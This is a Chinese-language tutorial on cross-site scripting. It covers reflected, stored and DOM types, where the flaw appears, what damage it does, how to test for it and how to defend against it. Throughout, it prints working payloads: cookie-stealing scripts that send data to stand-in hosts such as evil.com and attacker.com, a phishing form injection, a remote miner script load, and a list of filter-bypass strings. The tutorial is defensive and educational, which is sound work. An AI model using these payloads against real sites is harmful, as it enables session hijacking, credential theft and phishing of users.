章
目
录
XSS漏洞可是网络安全不能忽视的“危险分子”,今天,咱们就从浅入深,全面了解一下XSS漏洞。
一、XSS漏洞是什么?怎么产生的?
跨站脚本攻击,也就是我们常说的XSS漏洞。简单来讲,当应用程序把用户提交的数据,原封不动地发送到浏览器页面,却没有对这些数据进行合适的验证或者转义处理时,就给了XSS漏洞可乘之机。
浏览器有个同源策略,它就像一扇保护门,能保证只有发布Cookie的网站才能读取该网站的Cookie,以此来保护用户的隐私和安全。但XSS漏洞却能突破这扇“门”,攻击者会往网页里注入恶意脚本,这样就能窃取用户的Cookie,控制用户的网络行为,甚至结合CSRF(跨站请求伪造)进行更具针对性的攻击,导致用户信息泄露、账户被劫持等严重后果。
二、XSS漏洞有哪些类型?
XSS漏洞通常分为反射型(Reflected XSS)、存储型(Stored XSS)和DOM型(DOM – based XSS)这三类,它们的攻击方式各有特点。
- 反射型XSS:这种类型的XSS经常出现在搜索框、登录页面这些地方,用户输入的内容会马上显示在页面上。攻击者会把恶意脚本藏在URL里,诱导用户去点击这个链接,一旦用户点击,脚本就会执行。它有几个明显的特点:脚本不会在服务器上保存,只在一次请求 – 响应的过程中起作用;需要用户主动点击恶意链接;攻击者常用它来窃取用户的Cookie或者进行钓鱼欺骗。想要利用反射型XSS窃取Cookie,得满足两个条件:一是用户得点击攻击者精心制作的URL;二是目标网站存在反射型XSS漏洞,而且会在页面上显示未经过转义处理的用户输入内容。
- 存储型XSS:存储型XSS堪称最危险的一类XSS漏洞。攻击者把恶意脚本提交到服务器端,这些脚本会被存进数据库、日志或者其他能长期保存数据的地方。之后,其他用户访问相关内容时,恶意脚本就会被加载并执行。像留言板、评论系统、论坛帖子、用户签名这些用户可以交互的区域,以及管理员在后台浏览用户内容时,都有可能触发存储型XSS。它的危害可不小,能影响所有访问该页面的用户,造成蠕虫式传播,甚至劫持管理员权限,而且攻击持续时间长,很难被发现。
- DOM型XSS:DOM型XSS是基于浏览器中的文档对象模型(DOM)来进行攻击的。它的脚本注入和执行都在客户端完成,服务端并不直接参与。虽然攻击入口也是通过URL参数传递,但恶意代码不会出现在HTML源码里,而是在浏览器解析DOM的时候动态执行。这主要是因为客户端JavaScript里存在一些不安全的操作,比如
document.write()
、innerHTML
、eval()
等。就像下面这段代码:
<script>
var url = document.location;
url = unescape(url);
var message = url.substring(url.indexOf('message=') + 8, url.length);
document.write(message);
</script>
如果攻击者把URL设置成http://example.com/page.html?message=<script>alert(1)</script>
,那么脚本里的document.write()
就会把<script>alert(1)</script>
写入页面,恶意脚本也就被执行了。需要注意的是,DOM型XSS和反射型XSS有点像,都需要用户点击特定的URL,但DOM型XSS的漏洞藏在前端JavaScript代码里。
三、XSS漏洞可能出现在哪些地方?
XSS漏洞出现的原因,说白了就是浏览器把用户输入的数据当成JavaScript代码执行了。下面通过一些常见场景,来看看XSS漏洞可能会在哪里出现。
- 表单输入字段:在下面这个例子里,
keyword
参数直接被嵌入到HTML页面中,既没过滤也没转义。
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的关键词是:<%= getParameter("keyword") %>
</div>
要是攻击者在搜索框输入"><script>alert('XSS')</script>
,页面最终渲染出来的HTML就变成了input type="text" value=""><script>alert('XSS')</script>
,恶意脚本就会马上执行。
2. URL参数注入:比如这样的URL https://example.com/search?query=<script>alert('XSS')</script>
,如果后台返回页面是<p>搜索结果:<%= request.getParameter("query") %></p>
,而且没有对数据进行转义处理,脚本就会直接执行。示例:name参数会直接显示在页面上。
3. HTTP请求头注入:攻击者要是伪造请求头User - Agent: <script>alert('XSS')</script>
,而后台记录日志的代码是<p>访问者信息:<%= request.getHeader("User - Agent") %></p>
,一旦管理后台页面展示日志时没有对数据转义,管理员浏览时就会触发XSS。
4. 存储型XSS场景:类似留言功能,如果攻击者提交评论内容<script>fetch('http://evil.com/steal?c='+document.cookie)</script>
,后台把评论存入数据库INSERT INTO comments (content) VALUES ('<script>...</script>');
,前台再渲染<div><%= comment.content %></div>
,那么所有访问该评论的用户都会受到攻击。
5. 错误信息中回显用户输入:当页面显示错误信息,比如<p>出错啦,您输入的用户名是:<%= request.getParameter("username") %></p>
,攻击者输入<script>alert('XSS')</script>
,错误页就会直接触发脚本执行。
四、XSS漏洞会带来哪些危害?
- 窃取用户Cookie:在搜索框、评论区这些地方,如果对用户输入的内容没有进行HTML转义处理,攻击者就能注入恶意脚本。像下面这段代码:
<script>
new Image().src = "http://attacker.com/log?c=" + document.cookie;
</script>
用户一旦访问了含有这种恶意脚本的页面,Cookie信息就会被发送给攻击者,进而导致用户的session被劫持,账号被盗。
2. 钓鱼欺骗:用户昵称、签名、自我介绍这些内容在资料页展示时,如果直接输出,攻击者就能伪造各种界面或按钮。比如下面的代码:
<script>
document.body.innerHTML = '<form action="http://attacker.com/phish"><input name="pwd"></form>';
</script>
用户可能会误以为这是系统提示,就主动提交了账号密码等信息。
3. 后台攻击:在存储型XSS场景中,攻击者发布含有恶意脚本的评论内容。当管理员在后台浏览时,脚本会在高权限的环境下执行。例如:
<script>
fetch('/admin/deleteAll', { method: 'POST' });
</script>
这样攻击者就能借助管理员的权限来操作系统数据,甚至还能注入更多脚本,实现蠕虫式传播。
4. 页面劫持:网站从URL读取参数动态生成页面内容时,如果处理不当,也可能被注入脚本。比如http://example.com/page?msg=<script src="http://attacker.com/miner.js"></script>
,这样就能实现页面跳转、加载恶意代码,强制用户浏览挖矿脚本或其他攻击内容。
5. 高交互性诱导操作:现代前端框架有时会使用服务端渲染,如果模板里包含未清洗的变量,就会形成DOM型XSS。像下面这段代码:
<script>
document.querySelector("#transferBtn").click();
</script>
结合CSRF,攻击者就能自动完成资金转移、信息更改等敏感操作。
五、如何查找XSS漏洞?
- 基本验证:可以把
"><script>alert(document.cookie)</script>
这段代码当作测试样本,提交到所有可能接收用户输入的地方,像HTTP头、URL参数、前端表单等等。要是发现攻击字符串原样出现在响应中,那就有可能存在XSS漏洞。不过,很多应用会用黑名单等简单方法来过滤XSS攻击,但这些方法并不严密,攻击者可以通过一些手段绕过,比如:- 利用大小写混淆,像
"><ScRiPt>alert(document.cookie)</ScRiPt>
,部分过滤器只匹配小写关键词,这样就能绕过。 - 进行URL编码,
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
,用这种方式绕过对特殊字符的拦截。 - 采用标签嵌套,
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
,把<script>
标签拆分成多段来绕过过滤器。 - 在前面插入空字节,
%00"><script>alert(document.cookie)</script>
,绕过部分语言或框架在处理字符串时的截断问题。
需要注意的是,基于DOM的XSS漏洞,攻击载荷不会出现在服务器的响应内容里,用这种基本验证方法是发现不了的。
- 利用大小写混淆,像
- 反射型XSS查找
- 基本测试:把
"><script>alert(document.cookie)</script>
注入到页面的各个参数中,看看是否会被反射回页面并执行。如果字符串原样出现在页面响应中,那就可能存在反射型XSS。 - 常见注入位置与方法:在标签属性值、JavaScript字符串上下文、URL属性等位置都可以进行注入测试。比如返回页面中有
<input type="text" name="name" value="test - text">
,注入"><script>alert(1)</script>
;返回内容是<script>var a='test - text';</script>
,注入';alert(1);var b='
;返回内容是<a href="test - text">Click here</a>
,注入<a href="javascript:alert(1)">Click here</a>
。 - 利用常见标签和属性触发脚本执行:像
<style onreadystatechange=alert(1)></style>
、<iframe onreadystatechange=alert(1)></iframe>
等,利用无需用户交互的事件属性,或者通过脚本伪协议注入,如<object data="javascript:alert(1)"></object>
等方式来测试。 - HTML绕过技巧:包括标签名绕过,如大小写混淆
<iMg onerror=alert(1) src=a>
、插入NULL字节<img%00onerror=alert(1) src=a>
;属性名绕过,如<img o%00nerror=alert(1) src=a>
;属性分隔绕过,如<img onerror='alert(1)'src=a>
;属性值编码绕过,如<img onerror=a%00lert(1) src=a>
等。 - 绕过字符集与长度限制:可以使用非标准编码,如
UTF - 7
、US - ASCII
、UTF - 16
,或者拆分跨站脚本绕过长度限制,像下面这段代码:
- 基本测试:把
<script>
z = '<script src=';
z += 'test.c';
z += 'n/1.js><\/script>';
document.write(z);
</script>
执行后就变成了<script src=test.cn/1.js></script>
。
– JavaScript层面的绕过技巧:使用Unicode编码关键字,如<script>a\u006cert(1)</script>
,或者结合eval()
,如<script>eval('a\u006cert(1)')</script>
;还可以替代点操作符,如<script>alert(document['cookie'])</script>
、<script>with(document)alert(cookie)</script>
。
3. 存储型XSS查找:存储型XSS漏洞的检测和反射型XSS有点像,但也有不同。提交特殊的恶意字符串后,要反复检查应用程序的各个页面和功能,不能放过任何一个可能存在漏洞的地方。另外,还要特别关注应用程序的管理员区域,看看非管理员用户能否控制相关数据。同时,也不要忽略所有可控的带外通道,比如HTTP消息头,检查它们是否存在潜在的XSS漏洞。
4. DOM型的XSS漏洞查找:检测DOM型XSS漏洞和前面两种类型不太一样,因为它的漏洞出现在客户端JavaScript中。可以检查客户端JavaScript里的危险DOM API,比如document.location
、document.URL
等,看看在使用这些API时,对用户输入的数据是怎么处理的。还要留意那些可能执行恶意脚本的JavaScript函数,像document.write()
、eval()
等,检查是否有未经验证的用户输入被直接传递进去。此外,URL中的片段也可能存在漏洞,服务器一般不会解析#
后面的内容,如果应用程序对这部分数据处理不当,也可能导致XSS漏洞。
六、怎样防御XSS漏洞?
- 反射型与存储型XSS防御
- 确认输入:要控制数据长度,保证输入的数据不会过长;限制合法字符,只允许预期的字符输入,比如用户名只允许字母和数字;使用正则表达式对输入数据进行匹配检查,根据不同的数据类型应用不同的规则,尽量缩小攻击面。
- 确认输出:如果应用程序要把用户或第三方提交的数据插入到响应中,一定要对这些数据进行HTML编码,防止恶意代码被当作HTML或JavaScript代码执行。同时,要尽量避免直接把用户数据插入到JavaScript代码里,也不要把用户输入嵌入到标签属性中,尤其是当标签属性需要URL作为值的时候。对于一些允许用户提交HTML格式数据的应用,比如博客、论坛的富文本编辑器,可以使用专门的框架,像OWASP AntiSamy项目,来检查用户提交的HTML标记,确保里面没有能执行JavaScript的代码。
- DOM型XSS漏洞防御
- 确认输入:在客户端,可以用JavaScript对输入进行验证,确保插入到文档中的数据只包含字母、数字和空白符。在服务端,也要对URL数据进行严格检查,比如查询字符串只能有一个参数,检查参数名的大小写,参数值只能包含字母和数字。
- 确认输出:在将用户可控的DOM数据插入到文档之前,要进行HTML编码,防止恶意脚本执行。比如可以用PHP或JavaScript对数据进行编码处理。
XSS漏洞在网络安全中是个大问题,了解它的原理、类型、危害以及攻防方法,能帮助我们更好地保护网络安全。大家在开发和使用应用程序的时候,一定要多留个心眼,防范XSS漏洞的威胁。